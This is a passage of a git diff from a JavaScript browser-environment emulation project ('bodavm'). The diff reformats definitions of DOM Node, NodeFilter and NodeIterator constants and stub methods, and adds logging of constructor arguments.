bodavm.memory.globalobj['Node'].prototype, "Node", "nodeValue_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "textContent", {configurable:true, enumerable:true, get:function textContent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "textContent_get", arguments)}, set:function textContent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "textContent_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "ELEMENT_NODE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "ATTRIBUTE_NODE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "TEXT_NODE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "CDATA_SECTION_NODE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "ENTITY_REFERENCE_NODE", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "ENTITY_NODE", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "PROCESSING_INSTRUCTION_NODE", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "COMMENT_NODE", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_NODE", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_TYPE_NODE", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_FRAGMENT_NODE", {configurable:false, enumerable:true, writable:false, value:11},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "NOTATION_NODE", {configurable:false, enumerable:true, writable:false, value:12},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_DISCONNECTED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_PRECEDING", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_FOLLOWING", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINS", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINED_BY", {configurable:false, enumerable:true, writable:false, value:16},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC", {configurable:false, enumerable:true, writable:false, value:32},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "appendChild", {configurable:true, enumerable:true, writable:true, value:function appendChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "appendChild", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "cloneNode", {configurable:true, enumerable:true, writable:true, value:function cloneNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "cloneNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "compareDocumentPosition", {configurable:true, enumerable:true, writable:true, value:function compareDocumentPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "compareDocumentPosition", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "contains", {configurable:true, enumerable:true, writable:true, value:function contains (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "contains", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "getRootNode", {configurable:true, enumerable:true, writable:true, value:function getRootNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "getRootNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "hasChildNodes", {configurable:true, enumerable:true, writable:true, value:function hasChildNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "hasChildNodes", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "insertBefore", {configurable:true, enumerable:true, writable:true, value:function insertBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "insertBefore", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "isDefaultNamespace", {configurable:true, enumerable:true, writable:true, value:function isDefaultNamespace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isDefaultNamespace", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "isEqualNode", {configurable:true, enumerable:true, writable:true, value:function isEqualNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isEqualNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "isSameNode", {configurable:true, enumerable:true, writable:true, value:function isSameNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isSameNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "lookupNamespaceURI", {configurable:true, enumerable:true, writable:true, value:function lookupNamespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lookupNamespaceURI", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "lookupPrefix", {configurable:true, enumerable:true, writable:true, value:function lookupPrefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lookupPrefix", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "normalize", {configurable:true, enumerable:true, writable:true, value:function normalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "normalize", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "removeChild", {configurable:true, enumerable:true, writable:true, value:function removeChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "removeChild", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "replaceChild", {configurable:true, enumerable:true, writable:true, value:function replaceChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "replaceChild", arguments)}},'prototype'); - +bodavm.memory.globalobj['Node'] = function Node() { + console.log_copy('Node 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Node)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Node'], "Node"); +bodavm.memory.globalobj['Node'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Node'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Node', "ELEMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Node', "ATTRIBUTE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('Node', "TEXT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('Node', "CDATA_SECTION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_REFERENCE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('Node', "PROCESSING_INSTRUCTION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('Node', "COMMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_TYPE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_FRAGMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}); +bodavm.toolsFunc.defineProperty('Node', "NOTATION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_DISCONNECTED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_PRECEDING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_FOLLOWING", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINS", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINED_BY", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC", { + configurable: false, + enumerable: true, + writable: false, + value: 32 +}); +bodavm.toolsFunc.defineProperty('Node', "nodeType", { + configurable: true, + enumerable: true, + get: function nodeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "nodeName", { + configurable: true, + enumerable: true, + get: function nodeName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "baseURI", { + configurable: true, + enumerable: true, + get: function baseURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "baseURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isConnected", { + configurable: true, + enumerable: true, + get: function isConnected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isConnected_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ownerDocument", { + configurable: true, + enumerable: true, + get: function ownerDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "ownerDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "parentNode", { + configurable: true, + enumerable: true, + get: function parentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "parentNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "parentElement", { + configurable: true, + enumerable: true, + get: function parentElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "parentElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "childNodes", { + configurable: true, + enumerable: true, + get: function childNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "childNodes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "firstChild", { + configurable: true, + enumerable: true, + get: function firstChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "firstChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "lastChild", { + configurable: true, + enumerable: true, + get: function lastChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lastChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "previousSibling", { + configurable: true, + enumerable: true, + get: function previousSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "previousSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "nextSibling", { + configurable: true, + enumerable: true, + get: function nextSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nextSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "nodeValue", { + configurable: true, + enumerable: true, + get: function nodeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeValue_get", arguments); + }, + set: function nodeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "textContent", { + configurable: true, + enumerable: true, + get: function textContent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "textContent_get", arguments); + }, + set: function textContent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "textContent_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ELEMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ATTRIBUTE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "TEXT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "CDATA_SECTION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_REFERENCE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "PROCESSING_INSTRUCTION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "COMMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_TYPE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_FRAGMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "NOTATION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_DISCONNECTED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_PRECEDING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_FOLLOWING", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINS", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINED_BY", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC", { + configurable: false, + enumerable: true, + writable: false, + value: 32 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "appendChild", { + configurable: true, + enumerable: true, + writable: true, + value: function appendChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "appendChild", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "cloneNode", { + configurable: true, + enumerable: true, + writable: true, + value: function cloneNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "cloneNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "compareDocumentPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function compareDocumentPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "compareDocumentPosition", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "contains", { + configurable: true, + enumerable: true, + writable: true, + value: function contains() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "contains", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "getRootNode", { + configurable: true, + enumerable: true, + writable: true, + value: function getRootNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "getRootNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "hasChildNodes", { + configurable: true, + enumerable: true, + writable: true, + value: function hasChildNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "hasChildNodes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "insertBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "insertBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isDefaultNamespace", { + configurable: true, + enumerable: true, + writable: true, + value: function isDefaultNamespace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isDefaultNamespace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isEqualNode", { + configurable: true, + enumerable: true, + writable: true, + value: function isEqualNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isEqualNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isSameNode", { + configurable: true, + enumerable: true, + writable: true, + value: function isSameNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isSameNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "lookupNamespaceURI", { + configurable: true, + enumerable: true, + writable: true, + value: function lookupNamespaceURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lookupNamespaceURI", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "lookupPrefix", { + configurable: true, + enumerable: true, + writable: true, + value: function lookupPrefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lookupPrefix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "normalize", { + configurable: true, + enumerable: true, + writable: true, + value: function normalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "normalize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "removeChild", { + configurable: true, + enumerable: true, + writable: true, + value: function removeChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "removeChild", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "replaceChild", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "replaceChild", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NodeFilter.js b/env_xbb_lastest_jsdom/env/NodeFilter.js index c815f0f8..cef73994 100644 --- a/env_xbb_lastest_jsdom/env/NodeFilter.js +++ b/env_xbb_lastest_jsdom/env/NodeFilter.js @@ -1,22 +1,113 @@ -// NodeFilter对象 -bodavm.memory.globalobj['NodeFilter'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('NodeFilter', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('NodeFilter', "name", {configurable:true, enumerable:false, writable:false, value:"NodeFilter"}); -bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_ACCEPT", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_REJECT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_SKIP", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ALL", {configurable:false, enumerable:true, writable:false, value:4294967295}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ELEMENT", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ATTRIBUTE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_TEXT", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_CDATA_SECTION", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ENTITY_REFERENCE", {configurable:false, enumerable:true, writable:false, value:16}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ENTITY", {configurable:false, enumerable:true, writable:false, value:32}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_PROCESSING_INSTRUCTION", {configurable:false, enumerable:true, writable:false, value:64}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_COMMENT", {configurable:false, enumerable:true, writable:false, value:128}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT", {configurable:false, enumerable:true, writable:false, value:256}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT_TYPE", {configurable:false, enumerable:true, writable:false, value:512}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT_FRAGMENT", {configurable:false, enumerable:true, writable:false, value:1024}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_NOTATION", {configurable:false, enumerable:true, writable:false, value:2048}); +// NodeFilter对象 + +bodavm.memory.globalobj['NodeFilter'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('NodeFilter', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "NodeFilter" +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_ACCEPT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_REJECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_SKIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ALL", { + configurable: false, + enumerable: true, + writable: false, + value: 4294967295 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ELEMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ATTRIBUTE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_TEXT", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_CDATA_SECTION", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ENTITY_REFERENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 32 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_PROCESSING_INSTRUCTION", { + configurable: false, + enumerable: true, + writable: false, + value: 64 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_COMMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 128 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT_FRAGMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_NOTATION", { + configurable: false, + enumerable: true, + writable: false, + value: 2048 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NodeIterator.js b/env_xbb_lastest_jsdom/env/NodeIterator.js index ab5cacca..90781526 100644 --- a/env_xbb_lastest_jsdom/env/NodeIterator.js +++ b/env_xbb_lastest_jsdom/env/NodeIterator.js @@ -1,11 +1,81 @@ -// NodeIterator对象 -bodavm.memory.globalobj['NodeIterator'] = function NodeIterator(){if (!(this instanceof NodeIterator)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NodeIterator'], "NodeIterator"); -bodavm.toolsFunc.defineProperty('NodeIterator', "root", {configurable:true, enumerable:true, get:function root (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "root_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "referenceNode", {configurable:true, enumerable:true, get:function referenceNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "referenceNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "pointerBeforeReferenceNode", {configurable:true, enumerable:true, get:function pointerBeforeReferenceNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "pointerBeforeReferenceNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "whatToShow", {configurable:true, enumerable:true, get:function whatToShow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "whatToShow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "filter_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "detach", {configurable:true, enumerable:true, writable:true, value:function detach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "detach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "nextNode", {configurable:true, enumerable:true, writable:true, value:function nextNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "nextNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "previousNode", {configurable:true, enumerable:true, writable:true, value:function previousNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "previousNode", arguments)}},'prototype'); +// NodeIterator对象 + +bodavm.memory.globalobj['NodeIterator'] = function NodeIterator() { + console.log_copy('NodeIterator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NodeIterator)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NodeIterator'], "NodeIterator"); +bodavm.toolsFunc.defineProperty('NodeIterator', "root", { + configurable: true, + enumerable: true, + get: function root() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "root_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "referenceNode", { + configurable: true, + enumerable: true, + get: function referenceNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "referenceNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "pointerBeforeReferenceNode", { + configurable: true, + enumerable: true, + get: function 